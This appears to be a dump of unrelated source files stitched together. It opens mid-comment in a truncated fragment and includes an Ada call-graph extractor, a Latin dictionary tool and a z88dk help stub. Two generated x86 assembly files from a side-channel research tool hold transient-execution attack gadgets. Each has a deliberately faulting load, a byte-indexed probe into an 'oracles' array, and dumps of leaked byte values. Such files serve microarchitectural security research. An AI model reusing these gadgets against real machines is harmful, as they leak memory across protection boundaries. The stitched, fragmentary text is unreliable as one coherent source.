'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 10, 'size': 32, 'same': False, 'NT': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': True, 'NT': True}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48_notsx.log_21829_1751.asm
ljhsiun2/medusa
9
93513
<reponame>ljhsiun2/medusa<filename>Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48_notsx.log_21829_1751.asm .global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r15 push %r8 push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x190c0, %rsi lea addresses_D_ht+0x14ec0, %rdi nop nop nop sub %r12, %r12 mov $122, %rcx rep movsb nop nop nop nop nop add $32750, %r13 lea addresses_UC_ht+0x6ec0, %rbx nop xor %r8, %r8 movups (%rbx), %xmm5 vpextrq $1, %xmm5, %rsi nop nop and $5523, %r8 lea addresses_UC_ht+0x189c0, %rbx clflush (%rbx) nop nop nop nop sub $16763, %rcx movb (%rbx), %r8b nop nop nop sub %r12, %r12 lea addresses_WT_ht+0xe9c0, %rdi nop cmp $5337, %rbx vmovups (%rdi), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $1, %xmm5, %rsi add %rsi, %rsi lea addresses_WT_ht+0xee20, %rbx nop nop nop nop mfence movb (%rbx), %cl nop xor $58847, %rbx lea addresses_UC_ht+0x14c10, %r12 nop nop nop nop dec %rdi mov $0x6162636465666768, %r13 movq %r13, %xmm0 vmovups %ymm0, (%r12) nop nop nop nop nop and $61494, %rbx lea addresses_WT_ht+0x1e5c0, %rsi lea addresses_normal_ht+0x15c0, %rdi nop nop nop nop nop sub $28315, %rbx mov $8, %rcx rep movsw nop inc %r8 lea addresses_D_ht+0x143c0, %rsi lea addresses_D_ht+0xb8c0, %rdi nop nop nop dec %rbx mov $106, %rcx rep movsw and $16944, %rbx lea addresses_normal_ht+0x11ec0, %rsi lea addresses_A_ht+0x1e4c0, %rdi nop sub $44581, %r15 mov $29, %rcx rep movsw nop nop nop sub $4405, %rsi lea addresses_WC_ht+0x1abc0, %rdi clflush (%rdi) xor $55291, %r12 mov (%rdi), %cx cmp $59649, %r13 pop %rsi pop %rdi pop %rcx pop %rbx pop %r8 pop %r15 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r15 push %r9 push %rax push %rcx push %rsi // Store lea addresses_normal+0x132c0, %rax nop nop nop nop and $20100, %r14 movb $0x51, (%rax) // Exception!!! nop mov (0), %r15 nop nop nop nop add %r11, %r11 // Load lea addresses_D+0x1f0c0, %rcx nop nop nop nop add $10801, %r14 vmovups (%rcx), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $0, %xmm7, %rsi nop nop nop xor $12515, %r15 // Load lea addresses_D+0xdec0, %rcx nop nop nop add %r9, %r9 mov (%rcx), %r15 nop cmp $23043, %r15 // Load lea addresses_A+0x199e0, %rax nop nop nop add %rcx, %rcx movb (%rax), %r11b nop xor $40521, %r14 // Faulty Load mov $0x56303800000006c0, %r14 nop dec %r11 movups (%r14), %xmm1 vpextrq $0, %xmm1, %rax lea oracles, %r14 and $0xff, %rax shlq $12, %rax mov (%r14,%rax,1), %rax pop %rsi pop %rcx pop %rax pop %r9 pop %r15 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 16, 'type': 'addresses_NC', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal', 'congruent': 10}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D', 'congruent': 4}} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D', 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_A', 'congruent': 5}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_NC', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_A_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC_ht', 'congruent': 8}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT_ht', 'congruent': 4}} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 5}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC_ht', 'congruent': 0}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}} {'dst': {'same': True, 'congruent': 8, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}} {'dst': {'same': False, 'congruent': 8, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WC_ht', 'congruent': 7}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
src/extraction-direct_calls.adb
TNO/Dependency_Graph_Extractor-Ada
0
4407
pragma Assertion_Policy (Check); with Libadalang.Analysis; with Extraction.Node_Edge_Types; with Extraction.Utilities; package body Extraction.Direct_Calls is use type LALCO.Ada_Node_Kind_Type; function Is_Duplicate_Callsite (Name : LAL.Name) return Boolean; function Is_Duplicate_Callsite (Name : LAL.Name) return Boolean is function Is_Node_Duplicating_Parent (Node : LAL.Name) return Boolean; function Is_Node_Duplicating_Parent (Node : LAL.Name) return Boolean is Parent : constant LAL.Ada_Node'Class := Node.Parent; begin if Parent.Kind = LALCO.Ada_Call_Expr and then Node = Parent.As_Call_Expr.F_Name then declare Call_Expr : LAL.Call_Expr := Parent.As_Call_Expr; begin if Call_Expr.P_Called_Subp_Spec = LAL.No_Ada_Node and then Call_Expr.Parent.Kind = LALCO.Ada_Call_Expr and then Call_Expr.Parent.As_Call_Expr.P_Called_Subp_Spec.Kind = LALCO.Ada_Entry_Spec then Call_Expr := Call_Expr.Parent.As_Call_Expr; end if; return Node.P_Called_Subp_Spec = Call_Expr.P_Called_Subp_Spec; end; else return Parent.Kind = LALCO.Ada_Dotted_Name and then Node = Parent.As_Dotted_Name.F_Suffix; end if; end Is_Node_Duplicating_Parent; begin if Name.Kind = LALCO.Ada_Dotted_Name or else Name.Kind in LALCO.Ada_Base_Id then return Is_Node_Duplicating_Parent (Name); else pragma Assert (Name.Kind = LALCO.Ada_Call_Expr, "Expected call expression"); return False; end if; end Is_Duplicate_Callsite; function Is_Direct_Call (Node : LAL.Ada_Node'Class) return Boolean; function Is_Direct_Call (Node : LAL.Ada_Node'Class) return Boolean is begin case Node.Kind is when LALCO.Ada_Name => return Node.As_Name.P_Is_Direct_Call and then not Is_Duplicate_Callsite (Node.As_Name); when LALCO.Ada_Un_Op_Range => return not Utilities.Get_Referenced_Decl (Node.As_Un_Op.F_Op).Is_Null; when LALCO.Ada_Bin_Op_Range => return not Utilities.Get_Referenced_Decl (Node.As_Bin_Op.F_Op).Is_Null; when others => return False; end case; end Is_Direct_Call; function Get_Target (Expr : LAL.Expr'Class) return LAL.Basic_Decl; function Get_Target (Expr : LAL.Expr'Class) return LAL.Basic_Decl is begin case LALCO.Ada_Expr (Expr.Kind) is when LALCO.Ada_Name => return Utilities.Get_Parent_Basic_Decl (Expr.As_Name.P_Called_Subp_Spec); when LALCO.Ada_Bin_Op_Range => return Utilities.Get_Referenced_Decl (Expr.As_Bin_Op.F_Op); when LALCO.Ada_Un_Op_Range => return Utilities.Get_Referenced_Decl (Expr.As_Un_Op.F_Op); when others => raise Internal_Extraction_Error with "Cases in Is_Direct_Call and Get_Target do not match"; end case; end Get_Target; procedure Extract_Edges (Node : LAL.Ada_Node'Class; Graph : Graph_Operations.Graph_Context) is begin if Is_Direct_Call (Node) then declare Expr : constant LAL.Expr := Node.As_Expr; Source : constant LAL.Basic_Decl := Utilities.Get_Parent_Basic_Decl (Expr); Target : constant LAL.Basic_Decl := Get_Target (Expr); Edge_Attrs : constant GW.Attribute_Value_Sets.Map := Node_Edge_Types.Get_Edge_Attributes (Expr); begin Graph.Write_Edge (Source, Target, Node_Edge_Types.Edge_Type_Calls, Edge_Attrs); end; end if; end Extract_Edges; end Extraction.Direct_Calls;
src/tools/linedict.adb
spr93/whitakers-words
204
14300
<filename>src/tools/linedict.adb -- WORDS, a Latin dictionary, by <NAME> (USAF, Retired) -- -- Copyright <NAME> (1936–2010) -- -- This is a free program, which means it is proper to copy it and pass -- it on to your friends. Consider it a developmental item for which -- there is no charge. However, just for form, it is Copyrighted -- (c). Permission is hereby freely given for any and all use of program -- and data. You can sell it as your own, but at least tell me. -- -- This version is distributed without obligation, but the developer -- would appreciate comments and suggestions. -- -- All parts of the WORDS system, source code and data files, are made freely -- available to anyone who wishes to use them, for whatever purpose. with Text_IO; use Text_IO; with Latin_Utils.Strings_Package; use Latin_Utils.Strings_Package; with Latin_Utils.Inflections_Package; use Latin_Utils.Inflections_Package; with Latin_Utils.Dictionary_Package; use Latin_Utils.Dictionary_Package; procedure Linedict is package Integer_IO is new Text_IO.Integer_IO (Integer); use Dictionary_Entry_IO; use Part_Entry_IO; use Kind_Entry_IO; use Age_Type_IO; use Area_Type_IO; use Geo_Type_IO; use Frequency_Type_IO; use Source_Type_IO; De : Dictionary_Entry; Dictionary_File : File_Type; Output : File_Type; St_Line, Pt_Line, Mn_Line : String (1 .. 300) := (others => ' '); Blank_Line : constant String (1 .. 300) := (others => ' '); L, Ll, Last : Integer := 0; Number_Of_Dictionary_Entries : Integer := 0; procedure Get_Stem (S : in String; Stem : out Stem_Type; Last : out Integer) is I : Integer := 1; L : Integer := S'First; begin Stem := Null_Stem_Type; -- Squeeze left while L <= S'Last and then S (L) = ' ' loop L := L + 1; end loop; -- Count until the first blank -- Return that String while L <= S'Last and then S (L) /= ' ' loop Stem (I) := S (L); I := I + 1; L := L + 1; end loop; -- Return last Last := L; end Get_Stem; begin Put_Line ("LINEDICT.IN (EDIT format - 3 lines)" & " -> LINEDICT.OUT (DICTLINE format)"); Create (Output, Out_File, "LINEDICT.OUT"); Open (Dictionary_File, In_File, "LINEDICT.IN"); Put ("Dictionary loading"); while not End_Of_File (Dictionary_File) loop St_Line := Blank_Line; Pt_Line := Blank_Line; Mn_Line := Blank_Line; Error_Check : begin Get_Non_Comment_Line (Dictionary_File, St_Line, Last); -- STEMS -- really? -- when is "line" supposed to be read? -- line := blank_line; Get_Non_Comment_Line (Dictionary_File, Pt_Line, L); -- PART Get (Pt_Line (1 .. L), De.Part, Ll); -- GET (PT_LINE (LL+1 .. L), DE.PART.POFS, DE.KIND, LL); Get (Pt_Line (Ll + 1 .. L), De.Tran.Age, Ll); Get (Pt_Line (Ll + 1 .. L), De.Tran.Area, Ll); Get (Pt_Line (Ll + 1 .. L), De.Tran.Geo, Ll); Get (Pt_Line (Ll + 1 .. L), De.Tran.Freq, Ll); Get (Pt_Line (Ll + 1 .. L), De.Tran.Source, Ll); De.Stems := Null_Stems_Type; Ll := 1; -- Extract up to 4 Stems for I in 1 .. Number_Of_Stems (De.Part.Pofs) loop -- EXTRACT STEMS Get_Stem (St_Line (Ll .. Last), De.Stems (I), Ll); end loop; -- line := blank_line; Get_Non_Comment_Line (Dictionary_File, Mn_Line, L); -- MEANING De.Mean := Head (Trim (Mn_Line (1 .. L)), Max_Meaning_Size); Put (Output, De); New_Line (Output); Number_Of_Dictionary_Entries := Number_Of_Dictionary_Entries + 1; exception when others => Put_Line ("-------------------------------------------------------------"); Put_Line (Head (St_Line, 78)); Put_Line (Head (Pt_Line, 78)); Put_Line (Head (Mn_Line, 78)); end Error_Check; end loop; Close (Dictionary_File); Close (Output); Set_Col (33); Put ("-- "); Integer_IO.Put (Number_Of_Dictionary_Entries); Put (" entries"); Set_Col (55); Put_Line ("-- Loaded correctly"); end Linedict;
libsrc/_DEVELOPMENT/EXAMPLES/zxn/dot-command/ls/128/ls-help.asm
jpoikela/z88dk
640
82942
<filename>libsrc/_DEVELOPMENT/EXAMPLES/zxn/dot-command/ls/128/ls-help.asm ;; place help text in divmmc memory SECTION rodata_dot PUBLIC _ls_help PUBLIC _ls_version _ls_help: BINARY "ls-help.txt.zx7" _ls_version: BINARY "ls-version.txt" defb 0
Transynther/x86/_processed/US/_ht_zr_un_/i3-7100_9_0xca_notsx.log_2473_1129.asm
ljhsiun2/medusa
9
20748
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r9 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x1737e, %r15 xor $56306, %rdx mov $0x6162636465666768, %rcx movq %rcx, (%r15) nop nop nop nop sub $41263, %r9 lea addresses_A_ht+0xa99e, %rsi lea addresses_normal_ht+0xd37e, %rdi cmp %r12, %r12 mov $60, %rcx rep movsl nop sub %r15, %r15 lea addresses_D_ht+0x2d7e, %rdi nop nop and $55277, %r15 mov $0x6162636465666768, %rdx movq %rdx, %xmm4 movups %xmm4, (%rdi) nop nop nop nop nop dec %rsi lea addresses_UC_ht+0x37e, %rsi lea addresses_WC_ht+0x7ba, %rdi nop nop nop nop nop inc %rbx mov $62, %rcx rep movsb nop nop xor %rbx, %rbx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r9 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r15 push %rbp push %rbx push %rcx push %rdi // Load mov $0x44f4d60000000b7e, %r12 nop nop nop nop and $46458, %rdi mov (%r12), %r15 dec %r15 // Store lea addresses_RW+0x1777e, %rbx nop nop nop nop nop inc %rcx movb $0x51, (%rbx) nop nop dec %r12 // Store lea addresses_A+0x7cfe, %r12 nop nop nop xor %rcx, %rcx mov $0x5152535455565758, %rbx movq %rbx, (%r12) nop cmp $37670, %rcx // Faulty Load lea addresses_US+0x5b7e, %r10 nop nop sub %rdi, %rdi mov (%r10), %rcx lea oracles, %rdi and $0xff, %rcx shlq $12, %rcx mov (%rdi,%rcx,1), %rcx pop %rdi pop %rcx pop %rbx pop %rbp pop %r15 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 11, 'NT': True, 'type': 'addresses_NC', 'size': 8, 'AVXalign': True}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_RW', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_A', 'size': 8, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}} {'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}} {'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}} {'45': 1, 'e3': 2116, '00': 228, '50': 72, '1a': 18, 'c0': 1, '47': 37} e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 00 e3 e3 e3 00 e3 e3 e3 50 50 e3 50 00 e3 e3 e3 e3 50 e3 e3 e3 e3 e3 e3 e3 e3 e3 00 e3 e3 e3 e3 50 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 50 e3 e3 e3 e3 47 e3 e3 e3 e3 e3 e3 00 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 00 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 00 e3 e3 e3 50 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 00 e3 e3 e3 e3 47 e3 e3 50 e3 e3 00 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 00 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 50 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 50 47 e3 e3 e3 50 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 47 00 00 00 1a e3 00 47 00 00 1a 1a e3 47 00 00 e3 e3 00 00 00 00 00 00 00 00 e3 47 00 00 00 00 00 00 e3 00 00 00 00 00 47 e3 00 00 00 00 00 00 00 00 00 00 00 e3 00 00 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 00 00 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 00 e3 e3 e3 e3 50 e3 50 e3 e3 e3 e3 e3 e3 e3 00 e3 e3 e3 50 e3 e3 e3 e3 e3 50 e3 e3 e3 e3 e3 e3 e3 e3 00 e3 50 00 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 00 e3 e3 e3 50 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 00 e3 e3 e3 e3 e3 e3 e3 e3 e3 00 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 00 e3 e3 e3 e3 e3 e3 e3 e3 e3 00 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 50 e3 e3 e3 e3 e3 00 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 50 e3 e3 e3 e3 e3 00 e3 e3 e3 e3 e3 50 e3 00 e3 e3 e3 e3 e3 e3 e3 47 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 50 e3 e3 50 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 00 e3 e3 e3 e3 e3 e3 e3 e3 e3 00 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 00 e3 e3 e3 e3 e3 e3 50 e3 e3 e3 e3 e3 e3 e3 e3 00 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 00 e3 e3 e3 e3 50 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 50 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 00 e3 e3 e3 e3 e3 e3 e3 e3 00 e3 00 1a 1a 00 e3 e3 00 45 00 00 00 00 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 50 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 00 e3 e3 47 e3 00 e3 00 e3 1a 00 00 00 e3 00 00 00 00 00 00 00 00 00 00 e3 1a 1a 00 00 00 00 e3 00 00 1a 00 e3 00 e3 47 00 00 00 00 50 00 00 00 00 00 00 00 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 50 e3 e3 e3 47 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 00 e3 e3 e3 e3 e3 e3 e3 e3 